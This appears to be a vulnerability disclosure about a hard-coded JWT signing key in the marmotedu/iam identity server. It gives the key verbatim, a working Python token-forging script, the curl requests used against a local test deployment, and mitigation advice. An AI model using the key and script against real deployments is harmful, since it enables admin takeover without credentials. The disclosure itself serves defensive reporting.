| الوصف | 1. Hard-coded signing key.
iam ships a hard-coded JWT signing key in its public configuration template: configs/iam-apiserver.yaml line 65 (https://github.com/marmotedu/iam/blob/16c723d3c1f75fe437e501ef7f22a816c48a6add/configs/iam-apiserver.yaml#L65) sets key: dfVpOK8LZeJLZHYmHdb1VdyRrACKpqoo as the server-side signing key. That public constant is the effective HS256 key whenever iam-apiserver runs with the shipped configuration and jwt.key is not edited: internal/apiserver/auth.go wires it into the gin-jwt middleware guarding the API; the server starts silently and issues live tokens with no warning, so stock deployments sign and accept tokens under a public constant. Via raw.githubusercontent.com I fetched the file at the initial commit 142f8ff0 (2020-09-29), tags v1.0.0, v1.0.5, v1.1.0, v1.2.0, v1.4.0 and master head 16c723d (2025-03-20): the same value sits at line 65 in every sampled ref, and the file's commit feed lists no change after 2021-10-25; I sampled refs, not every intermediate commit.
2. My report and the vendor's response.
I reported this in https://github.com/marmotedu/iam/issues/101 on 2026-07-20. As of 2026-11-02 the issue page shows no maintainer reply, and the key line is unchanged at the 2025-03-20 master head, so no fix has shipped. In this entry I document the chain I verified against a containerized build of that head: the public key, the offline-forged admin token, the authenticated write it authorized, and the row it left in MySQL.
3. Token construction.
The apiserver fixes issuer iam-apiserver and audience iam.api.marmotedu.com as constants in internal/apiserver/auth.go and registers the appleboy/gin-jwt v2 middleware (v2.6.4, on golang-jwt/jwt v4.4.2) on the authenticated groups; auth.go line 78 overrides the middleware identity key to username, and the authorizator (auth.go lines 191-204) requires a string identity. The jwt.key string is the raw HMAC key, with no derivation: no environment expansion, no Base64 decoding. A token carries aud, iss, exp, orig_iat, sub and identity claims; verification checks the HMAC signature, lifetime against exp and orig_iat, and the fixed iss and aud constants, then controllers attribute every persisted object to the user named in the token. Which claim supplies that name was not pinned to dependency source; acceptance and admin attribution below rest on the response and database row. A correctly signed token passes as its claimed user until exp.
4. Attack process, fully offline with no login call.
The forgery is fully offline and no login endpoint is called; only the two requests below touch the server over HTTP at http://127.0.0.1:20040, my loopback deployment, where I ran the stock iam-apiserver (commit 16c723d) in containers with MySQL 5.7 and Redis 7.2. Deployment disclosure: I changed only plumbing - the ${} configuration placeholders are rendered on the host with envsubst and mounted read-only (component-base does not expand them), gRPC requires a certificate so I supplied a self-signed one, and the port moved from the occupied default 20038 to 20040; the JWT key is the shipped value from configs/iam-apiserver.yaml line 65, untouched, and the auth middleware runs exactly as shipped.
I forged the admin token offline with this pure standard-library Python script, key and claims verbatim; it writes the token to the file the requests below read:
import base64, hmac, hashlib, json
KEY = b"dfVpOK8LZeJLZHYmHdb1VdyRrACKpqoo"
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
def sign(claims):
h = b64u(json.dumps({"alg":"HS256","typ":"JWT"},separators=(",",":")).encode())
p = b64u(json.dumps(claims,separators=(",",":")).encode())
s = b64u(hmac.new(KEY, h.encode() + b"." + p.encode(), hashlib.sha256).digest())
return h + "." + p + "." + s
claims = {"aud":"iam.api.marmotedu.com","exp":1793691664,"identity":"admin","iss":"iam-apiserver","orig_iat":1793605264,"sub":"admin"}
open("/home/lza/jwt/deploy/poc/tok_iam_a_taskclaims.txt", "w").write(sign(claims) + "\n")
print(sign(claims))
Then I sent the write and read-back requests exactly as executed:
TOKA=$(cat ~/jwt/deploy/poc/tok_iam_a_taskclaims.txt); curl -sS -i -X POST "http://127.0.0.1:20040/v1/secrets" -H "Content-Type: application/json" -H "Authorization: Bearer $TOKA" -d '{"metadata":{"name":"poc-jwtforgery-a"},"expires":0,"description":"PoC write via forged HS256 token A"}'
TOKA=$(cat ~/jwt/deploy/poc/tok_iam_a_taskclaims.txt); curl -sS -i "http://127.0.0.1:20040/v1/secrets/poc-jwtforgery-a" -H "Authorization: Bearer $TOKA"
The write returned HTTP/1.1 200 OK with body {"metadata":{"id":1,"instanceID":"secret-v3z4nq","name":"poc-jwtforgery-a","createdAt":"2026-11-02T08:01:23.231Z"},"username":"admin","secretID":"jcQmArRBlJuaurbcAtic56vNQhNgcvqGfsCa","secretKey":"HVwdDxcmAna8xqd6aPm9Kw1oETUaxSD5"} - the server accepted the forged token as admin and issued a live secretID/secretKey pair owned by admin. The read-back returned HTTP/1.1 200 OK with the identical record; the MySQL iam.secret table holds row id=1, username admin, secretID jcQmArRBlJuaurbcAtic56vNQhNgcvqGfsCa, createdAt 2026-11-02 08:01:23. A backup token adding the username claim was forged but never needed; only the attack was run, with no control or negative experiments.
5. Impact.
Against a stock deployment (shipped configuration, jwt.key unedited) with a reachable API, anyone who can read the public repository can mint a valid token for any user, including the built-in admin, with no credentials, login call or user interaction. I exercised the secrets write and read-back live; the rest of the protected surface - deleting secrets, managing users and policies - sits behind the same middleware and falls to the same forged identity, an inference from the shared guard, not a separately exercised path. This amounts to takeover of the identity platform. CVSS:3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, score 9.8 (Critical), CWE-321 Use of Hard-coded Cryptographic Key.
6. Mitigation.
Generate a per-installation random signing key of at least 256 bits from an environment variable or a secret manager, refuse to start when jwt.key is missing or equals the shipped constant, and document key rotation; running deployments must rotate immediately; every token issued under the public value remains forgeable offline. Asymmetric signing (RS256) would keep token verification free of signing capability.
Product homepage: https://github.com/marmotedu/iam
--- DESCRIPTION END ---
Evidence index (internal, not part of the VulDB entry):
- Key permalink: https://github.com/marmotedu/iam/blob/16c723d3c1f75fe437e501ef7f22a816c48a6add/configs/iam-apiserver.yaml#L65
- Key value re-verified on 2026-11-02 (method: raw.githubusercontent.com fetch at each ref): pinned commit 16c723d line 65 (HTTP 200), initial commit 142f8ff0 line 65 (2020-09-29 "feat: init commit"), tags v1.0.0, v1.0.5, v1.1.0, v1.2.0, v1.4.0 (all line 65), and master; identical to the deployed snapshot (src/configs/iam-apiserver.yaml lines 63-67) and to the key accepted by the running server. Tags v1.6.0, v1.6.2, v1.6.3 not individually sampled; presence is stated per sampled ref, not as continuous history.
- Branch status: master commit feed (commits/master.atom) fetched 2026-11-02 lists 16c723d3c1f75fe437e501ef7f22a816c48a6add as newest entry, dated 2025-03-20T06:31:43Z ("feat: update docs"); configs/iam-apiserver.yaml feed lists its latest change 2021-10-25T01:58:30Z (7edc15ff). Feeds list recent commits only, so the newest entry fixes the head date observed on the fetch day.
- Issue: https://github.com/marmotedu/iam/issues/101 (open as of 2026-11-02; created 2026-07-20; no comments visible on the rendered page; REST API rate-limited so comment count not programmatically confirmed; no newer open issue exists, newest open is #94 from Feb 2025).
- PoC transcript: /home/lza/jwt/deploy/poc/poc-session-iam-20261102.txt (write step line 773 at 16:01:22, read-back line 902 at 16:05:18, conclusion markers lines 930-933).
- PoC screenshot: /home/lza/jwt/deploy/poc/poc-proof-iam.png
- Forge script read back verbatim: /home/lza/jwt/deploy/poc/forge_token_iam_poc.py (writes tok_iam_a_taskclaims.txt and tok_iam_b_usernameclaim.txt; token B unused).
- Code references (from PoC key evidence; dependency sources pinned by git tag): internal/apiserver/router.go secure group with AuthFunc, /v1/secrets POST group; internal/apiserver/controller/v1/secret/create.go owner from middleware.UsernameKey; internal/pkg/middleware/auth/jwt.go lines 30-32; appleboy/gin-jwt/[email protected] auth_jwt.go 445-457, 509-517, 703-715, 198; golang-jwt/jwt/[email protected] map_claims.go 124-141; body schema per docs/guide/zh-CN/api/secret.md.
- Duplicate check: NVD keyword "iam" JWT-related hits 0; repository GHSA 0 (from the task's automated dedup run). |
|---|